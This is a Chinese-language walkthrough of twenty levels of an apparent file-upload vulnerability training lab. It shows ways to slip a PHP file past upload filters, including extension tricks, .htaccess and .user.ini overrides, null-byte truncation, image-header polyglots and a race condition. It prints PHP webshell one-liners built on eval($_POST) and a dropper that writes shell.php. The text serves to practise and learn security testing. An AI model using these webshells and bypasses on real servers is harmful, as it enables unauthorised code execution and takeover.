第一关
当我们直接上传php文件,bp抓不到包,提示不符合规定,说明是前端校验
1.创建一个php
文件,写入后门
<?php @eval ($_POST['a']); ?>
然后修改后缀为jpg格式,绕过前端校验
2.用burp抓包,抓到包修改后缀名为.php
上传成功
第二关
首先,我上传一个不符合类型的php文件,用burp抓包时,抓到包了,说明不是前端校验
看抓包,发现有content-Type
借助他的Content-Type,把后缀改为php类型
上传成功
第三关
靶场提示php,axp无法上传,尝试使用其他后缀名
因为黑名单(一般限制不全)所以可以采用后缀为php3,php5,phtml
改名后上传成功
第四关
我们发现上传php3也绕过不了,查看源代码发现,过滤了很多文件类型,但是没过滤.htaccess
创建文件.htaccess,上传
<FilesMatch "1.gif">
SetHandler application/x-httpd-php #在当前目录下,如果匹配到1.gif文件,则被解析成PHP代码执行
AddHandler php5-script .gif #在当前目录下,如果匹配到1.gif文件,则被解析成PHP代码执行
</FilesMatch>
创建1.gif文件,上传
<?php phpinfo();?>
成功解析
第五关
发现.htaccess也被过滤了,但是没过滤.user.ini
创建.user.ini文件,上传
auto_prepend_file=1.jpg
创建1.jpg,上传
<?php @eval($_POST['a']);?)>
解析成功
第六关
查看源代码,发现这关没有过滤大小写完全
文件名改为.Php上传,成功上传
第七关
查看源代码,发现没有删掉空格,使用空格绕过
文件名改为.php(空格),成功上传
第八关
与第七关类似,没有过滤点
文件名改为.php.,成功上传
第九关
查看源码发现,没有对::$data过滤,用::$data绕过
直接上传带后门的php,用burp抓包,在php后面加上::$data
打开上传文件,删去 ::$data 复制地址,用shell工具连接
成功解析
第十关
查看源码,发现有删除了点空格,但是只删除了一次,而且deldot()函数从后向前检测,当检测到末尾的第一个点时会继续它的检测,但是遇到空格会停下来,所以使用点空格点绕过
1.php. .
第十一关
通过源代码和尝试绕过,发现,黑名单中被限制的文件后缀都被替换为空(文件上传后,黑名单中的后缀也被删除了),可以尝试双写绕过
1.pphphp,发现上传成功
第十二关
当我们上传文件,显示只允许上传的文件类型,说明是白名单,可以使用%00绕过
在文件路径(一般在url中)里用%00截断
在用shell连接时要把php后面的去掉
第十三关
这关与上一关一样,但是post请求,所以用0x00截断
第十四关
查看源码,是对文件头检测,我们使用图片马
准备好后门php,用16进制编辑器打开,在前面加上要求图片格式的文件头
第十五关
查看源码发现,不只对文件头检测,也对文件信息检测
使用cmd创建文件马绕过
第十六关
查看源码,用exif_imagetype()检测,还是用cmd创建图片马就可以
第十七关
我们先尝试用上面的方法进行绕过,发现不成功,我们把上传的文件用16进制查看一下,发现后门代码没有了,说明有二次渲染
我们尝试在渲染后的图片上修改
上传一张.gif的文件,然后保存渲染后的照片,直接在里面插入后门代码然后再上传,然后用文件包含,连接后门
第十八关
查看源码发现服务器先通过move_uploaded_file函数把文件保存了,然后再去判断后缀名是否合法,合法就重命名,如果不合法再删除,使用条件竞争
创建1.php文件
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST["a"])?>');?>
解释:这个文件的作用就是,在访问到这个文件后,这个文件会在服务器的当前目录下创建一个shell.php的
把<?php @eval($_POST["aa"])?>写入shell.php
访问1.php文件,让shell.php创建
用burp抓包,竞争条件
多尝试后发现shell.php创建完成
第十九关
查看源码,在检查后缀是不是在服务器上解析,还没到服务器就删掉了,但是改名是在服务器上完成的
先上传1.php.7z绕过后缀解析,再重命名前访问1.php.7z
第二十关
这关通过方法很多
可以通过点过滤,空格过滤,::$DATA过滤,00截断,.user.ini
move_uploaded_file()会忽略掉文件末尾的\.windows构造php\.,linux构造/.